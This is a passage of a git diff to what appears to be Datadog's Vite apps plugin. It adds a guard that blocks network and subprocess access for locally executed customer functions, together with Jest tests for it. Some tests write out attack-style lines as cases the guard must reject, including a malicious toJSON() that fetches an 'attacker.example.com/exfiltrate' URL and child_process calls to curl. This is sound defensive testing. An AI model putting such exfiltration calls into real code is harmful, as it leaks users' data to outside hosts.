diff --git a/packages/plugins/apps/src/vite/local-execution.test.ts b/packages/plugins/apps/src/vite/local-execution.test.ts index fab2690b6..1605cfe30 100644 --- a/packages/plugins/apps/src/vite/local-execution.test.ts +++ b/packages/plugins/apps/src/vite/local-execution.test.ts @@ -12,6 +12,7 @@ import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; import type { ExecuteAction, LoadModule } from './local-execution'; import { executeScriptLocally } from './local-execution'; +import { forceReset } from './network-guard'; const func: BackendFunction = { relativePath: 'src/example', @@ -54,6 +55,11 @@ type ActionsProxy = { [key: string]: ActionsProxy } & ((...args: unknown[]) => P const stubExecuteAction: ExecuteAction = async (fqn) => ({ data: null, stub: true, fqn }); +// Hard backstop: net/fetch/child_process are process-wide singletons, so a test that leaves them patched (e.g. an abandoned hung-function test) would otherwise leak into every later test in this Jest worker. +afterEach(() => { + forceReset(); +}); + /** A `loadModule` double that resolves the customer's function from a map and rejects anything else with a module-not-found error, matching the common case where neither optional package is installed. */ function loadModuleReturning(exports: Record): LoadModule { return moduleResolverFor(func, exports); @@ -601,6 +607,29 @@ describe('local-execution — executeScriptLocally', () => { ).rejects.toThrow(/timed out after 50ms/); }); + test('Should restore real network/subprocess access after a timeout, even though the hung function itself is still abandoned in the background', async () => { + const realFetch = globalThis.fetch; + // eslint-disable-next-line @typescript-eslint/no-require-imports + const realSpawn = require('child_process').spawn; + + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => new Promise(() => {}) }), + mockLogger, + 50, + ), + ).rejects.toThrow(/timed out after 50ms/); + + // The abandoned hung function is still "running" in the background, so a hard reset independent of its own try/finally is what unblocks network access for every execution after this one. + expect(globalThis.fetch).toBe(realFetch); + // eslint-disable-next-line @typescript-eslint/no-require-imports + expect(require('child_process').spawn).toBe(realSpawn); + }); + // Asserts $'s exact key set, since a token added inside globalThis.$ wouldn't be caught by the weaker top-level check below. test('Should never expose an auth token to the customer module — only backendFunctionArgs, Actions, and Source are visible on globalThis.$', async () => { const result = await executeScriptLocally( @@ -1436,6 +1465,244 @@ describe('local-execution — executeScriptLocally', () => { }); }); + describe('network/subprocess guard', () => { + test('Should reject when the customer function tries a raw net.Socket connection', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const net = require('net'); + return new net.Socket().connect(80, 'example.com'); + }, + }), + mockLogger, + ), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should reject when the customer function tries a raw fetch() call', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => fetch('https://example.com') }), + mockLogger, + ), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should reject when the customer function tries to spawn a subprocess', async () => { + await expect( + executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const child_process = require('child_process'); + return child_process.execSync('curl https://example.com'); + }, + }), + mockLogger, + ), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + test('Should still let a real $.Actions call through while the rest of the function is network-blocked', async () => { + const executeAction = jest.fn().mockResolvedValue({ ok: true }); + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModuleReturning({ + example: async () => { + const actionResult = await ( + globalThis as Record + ).$.Actions.slack.chat.postMessage({ inputs: { text: 'hi' } }); + // A raw fetch right after the sanctioned $.Actions call must still be blocked — the exemption is scoped to that one call, not the rest of the function. + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return actionResult; + }, + }), + mockLogger, + ); + expect(result).toEqual({ data: { ok: true } }); + expect(executeAction).toHaveBeenCalledWith( + 'com.datadoghq.slack.chat.postMessage', + { text: 'hi' }, + undefined, + ); + }); + + test('Should block a malicious toJSON() on $.Actions inputs from making a real network call under cover of the exemption', async () => { + // toJSON() must be synchronous, so its fetch attempt can't be awaited there — capture the outcome and assert once the whole execution settles. + let fetchAttempt: Promise | undefined; + const maliciousInputs = { + text: 'hi', + toJSON() { + // Would resolve instead of rejecting if this ran inside runAllowed's window, meant only for the trusted preview-async call itself. + fetchAttempt = fetch('https://attacker.example.com/exfiltrate'); + return { text: 'hi' }; + }, + }; + + const result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ + example: () => + (globalThis as Record).$.Actions.slack.chat.postMessage({ + inputs: maliciousInputs, + }), + }), + mockLogger, + ); + + expect(result).toEqual({ data: { data: null, stub: true, fqn: expect.any(String) } }); + expect(fetchAttempt).toBeDefined(); + await expect(fetchAttempt).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should restore real network access after execution, for whatever the dev server itself does next', async () => { + const realFetch = globalThis.fetch; + await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + loadModuleReturning({ example: () => 'fine' }), + mockLogger, + ); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should keep network access allowed through two real, overlapping $.Actions calls made concurrently via Promise.all, without either blocking the other mid-flight', async () => { + // Proves the exemption holds through the real customer path (executeScriptLocally's Promise.all → makeActionsProxy → runAllowed), not just at the runAllowed unit level. + const order: string[] = []; + const executeAction: ExecuteAction = async (fqn) => { + const label = fqn.includes('slow') ? 'slow' : 'fast'; + order.push(`${label}-start`); + if (label === 'slow') { + await new Promise((r) => setTimeout(r, 20)); + } + await fetch(`https://example.com/${label}`); + order.push(`${label}-end`); + return { ok: true, fqn }; + }; + + const originalFetch = globalThis.fetch; + const fetchMock = jest.fn().mockResolvedValue('ok'); + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + let result: { data: unknown }; + try { + result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModuleReturning({ + example: () => { + const $ = (globalThis as Record).$; + return Promise.all([ + $.Actions.slow.action({ inputs: {} }), + $.Actions.fast.action({ inputs: {} }), + ]); + }, + }), + mockLogger, + ); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + + expect(result.data).toEqual([ + { ok: true, fqn: 'com.datadoghq.slow.action' }, + { ok: true, fqn: 'com.datadoghq.fast.action' }, + ]); + // The slow call's own fetch, made after the fast call's allow scope already exited, must still resolve — proving network stayed allowed for it the entire time. + expect(order).toEqual(['slow-start', 'fast-start', 'fast-end', 'slow-end']); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/slow'); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/fast'); + }); + + // registerActionCatalogIfInstalled's registered callback must be exempted from the network block the same way makeActionsProxy's apply trap is, since the typed-wrapper call itself runs from inside the customer's still-blocked function. + test("Should let a real network call through an action-catalog typed-wrapper call, not block it as if it were the customer's own code", async () => { + jest.spyOn(shared, 'isActionCatalogInstalled').mockReturnValue(true); + const executeAction: ExecuteAction = async (fqn, inputs) => { + const response = await fetch('https://example.com/action-catalog'); + return { fqn, inputs, response }; + }; + + let registeredImpl: + | ((actionId: string, request: unknown) => Promise) + | undefined; + const loadModule: LoadModule = async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + return { + example: async () => + registeredImpl?.('com.datadoghq.slack.chat.postMessage', { + inputs: { text: 'hi' }, + }), + }; + } + if (specifier === '@datadog/action-catalog/action-execution') { + return { + setExecuteActionImplementation: ( + impl: (actionId: string, request: unknown) => Promise, + ) => { + registeredImpl = impl; + }, + }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + + const originalFetch = globalThis.fetch; + const fetchMock = jest.fn().mockResolvedValue('ok'); + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + let result: { data: unknown }; + try { + result = await executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + executeAction, + loadModule, + mockLogger, + ); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + + expect(result.data).toEqual({ + fqn: 'com.datadoghq.slack.chat.postMessage', + inputs: { text: 'hi' }, + response: 'ok', + }); + expect(fetchMock).toHaveBeenCalledWith('https://example.com/action-catalog'); + }); + }); + describe('serialization of concurrent executions', () => { beforeEach(() => { delete (globalThis as Record)[ORDER_MARKER]; @@ -2057,5 +2324,54 @@ describe('local-execution — executeScriptLocally', () => { expect(callCount).toBe(0); }); + + // An abandoned execution A's own loadModule can resolve late, after a newer execution B is already inside runBlocked/runWithScopedEnv — if A's continuation reached those guards too, it would corrupt B's live state. + test("Should never let an abandoned execution's late-resolving loadModule enter the network/env guards while a newer execution is still inside them", async () => { + const makeLoadModule = (mainDelayMs: number): LoadModule => { + return async (specifier: string) => { + if (specifier === func.absolutePath + LOCAL_EXECUTION_LOAD_SUFFIX) { + if (mainDelayMs > 0) { + await new Promise((resolve) => setTimeout(resolve, mainDelayMs)); + } + return { + example: async () => { + // B's own body: still running when A's slow loadModule resolves, so any state A corrupts on its way in would be visible here. + await new Promise((resolve) => setTimeout(resolve, 200)); + return 'b-result'; + }, + }; + } + const notFoundError: NodeJS.ErrnoException = new Error( + `Cannot find module '${specifier}'`, + ); + notFoundError.code = 'MODULE_NOT_FOUND'; + throw notFoundError; + }; + }; + + // A times out at 20ms, well before its own 150ms-delayed loadModule resolves. + const abandoned = executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + makeLoadModule(150), + mockLogger, + 20, + ); + await expect(abandoned).rejects.toThrow(/timed out after 20ms/); + + // B starts as soon as the queue frees, and is still running its own 200ms body when A's loadModule resolves at the ~150ms mark. + const second = executeScriptLocally( + func, + TEST_PROJECT_ROOT, + [], + stubExecuteAction, + makeLoadModule(0), + mockLogger, + ); + + await expect(second).resolves.toEqual({ data: 'b-result' }); + }); }); }); diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index 902b66ec5..db0b0cb86 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -14,6 +14,7 @@ import type { BackendFunction, BackendOutputs } from '../backend/types'; import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; import { createEpochGuard } from './execution-epoch'; +import { forceReset, runAllowed, runBlocked } from './network-guard'; type BackendGlobals = { backendFunctionArgs: unknown[]; @@ -185,7 +186,7 @@ function enqueue(run: () => Promise): Promise { /** One shared guard across all executions — `enqueue` only serializes each execution's *start*; a timed-out `fn()` keeps running afterward (see "abandoned, not canceled" below), so this guard's generation counter is what rejects that zombie's late dispatch during the overlap, not a redundant backstop. */ const executionEpoch = createEpochGuard(); -/** Resolves a nested property path (e.g. $.Actions.slack.chat.postMessage) to a callable that invokes `executeAction` directly — no IPC needed since there's no separate process to cross. */ +/** Resolves a nested property path (e.g. $.Actions.slack.chat.postMessage) to a callable that invokes `executeAction` directly, wrapped in `runAllowed` as the one network call exempted from `runScriptLocally`'s `runBlocked` guard — see network-guard.ts. */ function makeActionsProxy( executeAction: ExecuteAction, allowedConnectionIds: string[], @@ -214,7 +215,20 @@ function makeActionsProxy( `$.Actions.${pathParts.join('.')}`, ); const fqn = `com.datadoghq.${pathParts.join('.')}`; - return executeAction(fqn, inputs, connectionId); + // Serializes inputs before entering runAllowed's scope, so a malicious toJSON() can't fire its own network call inside the window meant to exempt only the trusted API call. + let serializedInputs: Record; + try { + serializedInputs = JSON.parse(JSON.stringify(inputs)); + } catch (err) { + return Promise.reject( + new Error( + `Inputs to action $.Actions.${pathParts.join('.')} can't be serialized to JSON: ${ + err instanceof Error ? err.message : String(err) + }`, + ), + ); + } + return runAllowed(() => executeAction(fqn, serializedInputs, connectionId)); }, }); } @@ -290,7 +304,18 @@ async function registerActionCatalogOnce(loadModule: LoadModule, timeoutMs: numb dispatch.allowedConnectionIds, `"${actionId}"`, ); - return dispatch.executeAction(actionId, inputs, connectionId); + // Serializes inputs before entering runAllowed's scope, matching makeActionsProxy's identical exemption, so a malicious toJSON()/getter can't make its own call under cover of the exemption. + let serializedInputs: Record; + try { + serializedInputs = JSON.parse(JSON.stringify(inputs)); + } catch (err) { + throw new Error( + `Inputs to action "${actionId}" can't be serialized to JSON: ${ + err instanceof Error ? err.message : String(err) + }`, + ); + } + return runAllowed(() => dispatch.executeAction(actionId, serializedInputs, connectionId)); }); } @@ -472,6 +497,8 @@ async function runScriptLocally( const scheduleTimeout = () => { timer = setTimeout(() => { concludeExecution(); + // Promise.race abandons a hung fn rather than cancelling it, so its own runBlocked call never reaches its finally — force the real functions back here instead. + forceReset(); rejectTimeout?.( new Error(`Local execution of "${func.name}" timed out after ${timeoutMs}ms`), ); @@ -551,8 +578,12 @@ async function runScriptLocally( `Execution of "${func.name}" was abandoned after timing out before it could start.`, ); } - const result = await fn(...args); - return { data: assertJsonSerializable(result, func) }; + // assertJsonSerializable runs inside runBlocked's callback, not after, since its toJSON()/getter calls on the result must run while network/subprocess access is still blocked. + const data = await runBlocked(async () => { + const result = await fn(...args); + return assertJsonSerializable(result, func); + }); + return { data }; } finally { // However this execution ends, mark it concluded so any further dispatch through it — direct or via the shared adapters — is rejected. concludeExecution(); diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts new file mode 100644 index 000000000..d2eb69c67 --- /dev/null +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -0,0 +1,392 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global globalThis */ + +import child_process from 'child_process'; +import net from 'net'; + +import { forceReset, runAllowed, runBlocked } from './network-guard'; + +// net/fetch/child_process are real, process-wide singletons, so a test that leaves them patched would leak into every later test in the same Jest worker. +afterEach(() => { + forceReset(); +}); + +describe('network-guard', () => { + describe('runBlocked', () => { + test('Should block a raw net.Socket.connect() call made inside fn', async () => { + await expect( + runBlocked(async () => { + new net.Socket().connect(80, 'example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block a fetch() call made inside fn', async () => { + await expect( + runBlocked(async () => { + await fetch('https://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should block child_process.spawn/spawnSync/exec/execSync/execFile/execFileSync/fork made inside fn', async () => { + await expect( + runBlocked(async () => { + child_process.spawn('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.spawnSync('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.exec('curl https://example.com'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execSync('curl https://example.com'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execFile('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execFileSync('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.fork('./some-script.js'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // A dependency calling `new child_process.ChildProcess().spawn(...)` directly bypasses all the higher-level guarded factory functions above. + test('Should block a direct new child_process.ChildProcess().spawn(...) call, bypassing the factory functions', async () => { + await expect( + runBlocked(async () => { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (new child_process.ChildProcess() as any).spawn({ file: 'curl' }); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // Guards against a per-cycle apply/restore swap: fn returning doesn't mean fn is done, since detached async work it scheduled without awaiting keeps running afterward and must still see the guard. + test('Should still block a detached, unawaited setTimeout callback scheduled during fn, even after fn itself has already resolved', async () => { + let detachedFetchResult: Promise | undefined; + let detachedFetchSettled = false; + + await runBlocked(async () => { + // Deliberately not awaited — fn returns immediately while this keeps running in the background. + setTimeout(() => { + const result = fetch('https://example.com'); + detachedFetchResult = result; + // Attached synchronously so the rejection is never briefly unhandled before the `.rejects` assertion below attaches its own handler. + result.then( + () => { + detachedFetchSettled = true; + }, + () => { + detachedFetchSettled = true; + }, + ); + }, 0); + }); + + // fn (and therefore runBlocked) has already resolved here — a per-cycle restore would have put the real fetch back before this fires. + await new Promise((resolve) => setTimeout(resolve, 10)); + + expect(detachedFetchSettled).toBe(true); + await expect(detachedFetchResult).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should restore the real net.Socket.connect after fn resolves', async () => { + const realConnect = net.Socket.prototype.connect; + await runBlocked(async () => undefined); + expect(net.Socket.prototype.connect).toBe(realConnect); + }); + + test('Should restore the real fetch after fn resolves', async () => { + const realFetch = globalThis.fetch; + await runBlocked(async () => undefined); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should restore the real network functions even when fn throws', async () => { + const realConnect = net.Socket.prototype.connect; + const realFetch = globalThis.fetch; + await expect( + runBlocked(async () => { + throw new Error('customer function boom'); + }), + ).rejects.toThrow('customer function boom'); + expect(net.Socket.prototype.connect).toBe(realConnect); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should not block a subsequent, separate runBlocked call after an earlier one already restored', async () => { + await expect( + runBlocked(async () => { + throw new Error('first execution boom'); + }), + ).rejects.toThrow('first execution boom'); + + // Confirms the guard doesn't leak a "still blocked" state the way a naive boolean (never reset on throw) could. + const result = await runBlocked(async () => 'second execution result'); + expect(result).toBe('second execution result'); + }); + + // The guarded property holds no snapshot to reinstall — its setter just updates the delegate — so an idle forceReset() has nothing to clobber. + test('Should make an idle forceReset() a true no-op, never reinstalling an earlier mock over the current one', async () => { + const mockA = jest.fn().mockResolvedValue('mock A'); + (globalThis as { fetch: typeof fetch }).fetch = mockA as unknown as typeof fetch; + + await runBlocked(async () => undefined); + await expect(fetch('https://example.com')).resolves.toBe('mock A'); + + // A later, unrelated mock is installed with runBlocked never called again in between, so the guard is genuinely idle. + const mockB = jest.fn().mockResolvedValue('mock B'); + (globalThis as { fetch: typeof fetch }).fetch = mockB as unknown as typeof fetch; + + forceReset(); + + await expect(fetch('https://example.com')).resolves.toBe('mock B'); + }); + + // Mirrors runScriptLocally's abandon-not-cancel model: an abandoned execution's late settlement must not restore real network access out from under a newer, still-active runBlocked scope. + test("Should not let an abandoned runBlocked call's late restore corrupt a newer, currently-active runBlocked scope", async () => { + let resolveAbandoned: (() => void) | undefined; + const abandoned = runBlocked( + () => + new Promise((resolve) => { + resolveAbandoned = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution, exactly like local-execution.ts's timer callback. + forceReset(); + + // A second, newer execution starts its own block scope; the fetch() check runs from inside its own fn's continuation to verify that customer code is still blocked. + let openGate: (() => void) | undefined; + const gate = new Promise((resolve) => { + openGate = resolve; + }); + let currentFetchResult: Promise | undefined; + const current = runBlocked(async () => { + await gate; + currentFetchResult = fetch('https://example.com'); + await currentFetchResult.catch(() => undefined); + }); + + // The abandoned execution's fn() finally settles — its own finally block must not unblock the still-running newer scope. + resolveAbandoned?.(); + await abandoned; + + openGate?.(); + await current; + await expect(currentFetchResult).rejects.toThrow(/Network access is not allowed/); + }); + + // Since guardFetch is a process-wide singleton, code that never entered any runBlocked scope at all must not be wrongly blocked just because some other, unrelated runBlocked execution is active. + test('Should not block a concurrent fetch() made from code that never entered any runBlocked scope', async () => { + const fetchMock = jest.fn().mockResolvedValue('unrelated response'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + let resolveBlocked: (() => void) | undefined; + const blocked = runBlocked( + () => + new Promise((resolve) => { + resolveBlocked = resolve; + }), + ); + + // Made from code entirely outside runBlocked/runAllowed, e.g. a concurrent cloud-mode request's own real fetch call. + await expect(fetch('https://api.datadoghq.com/unrelated')).resolves.toBe( + 'unrelated response', + ); + + resolveBlocked?.(); + await blocked; + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + }); + + describe('runAllowed', () => { + test('Should let a real network call through when nested inside runBlocked', async () => { + const fetchMock = jest.fn().mockResolvedValue('real response'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + const result = await runBlocked(async () => + runAllowed(async () => fetch('https://api.datadoghq.com')), + ); + expect(result).toBe('real response'); + expect(fetchMock).toHaveBeenCalledWith('https://api.datadoghq.com'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + + test('Should re-block network once the allowed call finishes, while the outer execution is still running', async () => { + await runBlocked(async () => { + await runAllowed(async () => undefined); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + test('Should keep two concurrent, legitimate $.Actions calls both allowed while they overlap, independently of each other', async () => { + const fetchMock = jest.fn().mockResolvedValue('ok'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + const order: string[] = []; + + try { + await runBlocked(async () => { + const first = runAllowed(async () => { + order.push('first-start'); + await new Promise((r) => setTimeout(r, 20)); + // Must still succeed even after `second` already finished — each call's exemption is scoped to its own async chain, not a shared depth counter. + await expect(fetch('https://first.example.com')).resolves.toBe('ok'); + order.push('first-end'); + }); + const second = runAllowed(async () => { + order.push('second-start'); + await expect(fetch('https://second.example.com')).resolves.toBe('ok'); + order.push('second-end'); + }); + + await second; + await first; + }); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + + expect(order).toEqual(['first-start', 'second-start', 'second-end', 'first-end']); + }); + + // A shared, process-wide "currently allowed" toggle would wrongly let this sibling fetch() through for the whole window an unrelated $.Actions call is in flight. + test('Should keep a sibling raw fetch() call blocked while a concurrent, legitimate $.Actions call is in flight', async () => { + const fetchMock = jest.fn().mockResolvedValue('real response'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + await runBlocked(async () => { + const allowedCall = runAllowed(async () => { + await new Promise((r) => setTimeout(r, 20)); + return fetch('https://api.datadoghq.com'); + }); + + // Made directly by "customer code", not through runAllowed, while allowedCall is still in flight. + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + + await expect(allowedCall).resolves.toBe('real response'); + }); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + + test('Should still re-block after the allowed call finishes even if it throws', async () => { + await runBlocked(async () => { + await expect( + runAllowed(async () => { + throw new Error('action call failed'); + }), + ).rejects.toThrow('action call failed'); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + // Mirrors an abandoned execution whose in-flight $.Actions call (inside runAllowed) settles late — that must not affect any execution that runs afterward. + test("Should not let an abandoned runAllowed call's late settlement affect later executions", async () => { + let resolveAbandonedAction: (() => void) | undefined; + const abandonedAction = runAllowed( + () => + new Promise((resolve) => { + resolveAbandonedAction = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution while the $.Actions call above is still in flight. + forceReset(); + + // A newer execution's own legitimate $.Actions call must be correctly allowed through and re-blocked afterward. + const result = await runBlocked(async () => { + await runAllowed(async () => 'newer allowed call'); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return 'newer execution result'; + }); + expect(result).toBe('newer execution result'); + + // The abandoned call finally settles, well after being superseded — it must not affect anything else. + resolveAbandonedAction?.(); + await abandonedAction; + + // A further, unrelated later execution's own $.Actions call must still work. + const laterResult = await runBlocked(async () => + runAllowed(async () => 'later allowed call'), + ); + expect(laterResult).toBe('later allowed call'); + }); + + // Stricter than the test above: here `runAllowed` is only called *after* `forceReset` already cleared the guard, so it must be a no-op rather than wedging the guard blocked afterward. + test('Should treat a runAllowed call that only starts after its execution was already abandoned as a no-op, not a stale-but-matching generation', async () => { + const fetchMock = jest.fn().mockResolvedValue('ok'); + const originalFetch = globalThis.fetch; + (globalThis as { fetch: typeof fetch }).fetch = fetchMock as unknown as typeof fetch; + + try { + forceReset(); + + let resolveLateAction: (() => void) | undefined; + const lateAction = runAllowed( + () => + new Promise((resolve) => { + resolveLateAction = resolve; + }), + ); + resolveLateAction?.(); + await lateAction; + + // If the bug were present, the late call's finally would have left fetch permanently blocked even with nothing legitimate currently executing. + await expect(fetch('https://example.com')).resolves.toBe('ok'); + + // A real, later execution must still work normally afterward. + const result = await runBlocked(async () => { + await runAllowed(async () => undefined); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return 'later execution result'; + }); + expect(result).toBe('later execution result'); + } finally { + (globalThis as { fetch: typeof fetch }).fetch = originalFetch; + } + }); + }); +}); diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts new file mode 100644 index 000000000..afba1eeec --- /dev/null +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -0,0 +1,132 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global globalThis */ + +import child_process from 'child_process'; +import net from 'net'; +import { AsyncLocalStorage } from 'node:async_hooks'; + +import { createEpochGuard } from './execution-epoch'; + +// Blocks every JS-level network/subprocess entry point during a local execution, since there's no OS-level sandbox here (unlike prod's Deno sandbox); block/allow state is scoped per-call via AsyncLocalStorage, not a global toggle, so unrelated concurrent callers aren't affected. + +const NETWORK_BLOCKED_MESSAGE = + 'Network access is not allowed directly in backend functions — use $.Actions instead.'; +const SUBPROCESS_BLOCKED_MESSAGE = 'Spawning a subprocess is not allowed in backend functions.'; + +// True only for the async chain of an active `runBlocked` call, not a process-wide flag, so a concurrent caller that never went through `runBlocked` isn't wrongly blocked too. +const blockedContext = new AsyncLocalStorage(); + +// True only for the async chain started by a `runAllowed` call, not a process-wide flag, so a sibling call outside that chain stays blocked while the exemption is in flight. +const allowedContext = new AsyncLocalStorage(); + +function isCurrentlyBlocked(): boolean { + return blockedContext.getStore() === true && allowedContext.getStore() !== true; +} + +// Installs a permanent getter/setter — needed because a detached, unawaited callback a customer function scheduled (e.g. a bare `setTimeout`) can still fire well after `runBlocked` itself has resolved, and must still be blocked, so the guard can never be torn down on a per-call basis. The setter captures whatever real implementation (or test mock) is later assigned as the delegate for non-blocked calls, AND rebuilds the exposed guard as a fresh function object on every write: some libraries that patch these same globals (e.g. MSW's fetch interceptor) mark the specific function object they last saw with their own "already patched" symbol, and reusing one frozen guard object forever means a second, independent session of that library collides with the mark an earlier one left on it in the same long-lived process — reproduced as a real Jest-worker crash (`Cannot redefine property: Symbol(isPatchedModule)`) when this file's guard and an unrelated test's own fetch mocking shared a worker. Rebuilding on every external write sidesteps that: each write hands external code a never-before-marked object. +function installGuardedProperty( + target: object, + prop: string, + makeGuard: (getReal: () => T) => T, +): void { + let real = (target as Record)[prop]; + const getReal = () => real; + let currentGuard = makeGuard(getReal); + Object.defineProperty(target, prop, { + configurable: true, + enumerable: true, + get: () => currentGuard, + set: (value: T) => { + real = value; + currentGuard = makeGuard(getReal); + }, + }); +} + +function guardConnect( + getReal: () => typeof net.Socket.prototype.connect, +): typeof net.Socket.prototype.connect { + return function (this: net.Socket, ...args: unknown[]) { + if (!isCurrentlyBlocked()) { + return getReal().apply(this, args as Parameters); + } + throw new Error(NETWORK_BLOCKED_MESSAGE); + } as typeof net.Socket.prototype.connect; +} + +// Rejects rather than throws synchronously, matching fetch's real contract so callers using `.catch()`/`.rejects` directly still work. +function guardFetch(getReal: () => typeof fetch): typeof fetch { + return (...args: Parameters): ReturnType => { + if (!isCurrentlyBlocked()) { + return getReal()(...args); + } + return Promise.reject(new Error(NETWORK_BLOCKED_MESSAGE)); + }; +} + +// Shared guard logic for every subprocess entry point, since each only differs in its real signature. +function guardSubprocess unknown>(getReal: () => F): F { + // Forwards `this` via `.apply`, since `ChildProcess.prototype.spawn`'s real implementation reads/writes fields on `this`, unlike the standalone functions. + const wrapper = function (this: unknown, ...args: unknown[]): unknown { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); + } + throw new Error(SUBPROCESS_BLOCKED_MESSAGE); + }; + return wrapper as unknown as F; +} + +installGuardedProperty(net.Socket.prototype, 'connect', guardConnect); +installGuardedProperty(globalThis, 'fetch', guardFetch); + +installGuardedProperty(child_process, 'spawn', guardSubprocess); +installGuardedProperty(child_process, 'spawnSync', guardSubprocess); +// `unknown` is the correct escape hatch here: exec/execFile's `__promisify__` property doesn't structurally satisfy a plain function type. +installGuardedProperty<(...args: never[]) => unknown>(child_process, 'exec', guardSubprocess); +installGuardedProperty(child_process, 'execSync', guardSubprocess); +installGuardedProperty<(...args: never[]) => unknown>(child_process, 'execFile', guardSubprocess); +installGuardedProperty( + child_process, + 'execFileSync', + guardSubprocess, +); +installGuardedProperty<(...args: never[]) => unknown>(child_process, 'fork', guardSubprocess); +// Also guards `ChildProcess.prototype.spawn` directly, since spawn/exec/... above are thin wrappers around it that a dependency could call to bypass those guards; its signature isn't exported, so `unknown` is the correct escape hatch. +const childProcessPrototype = child_process.ChildProcess.prototype as unknown as Record< + string, + unknown +>; +installGuardedProperty<(...args: never[]) => unknown>( + childProcessPrototype, + 'spawn', + guardSubprocess, +); + +// Guards against the 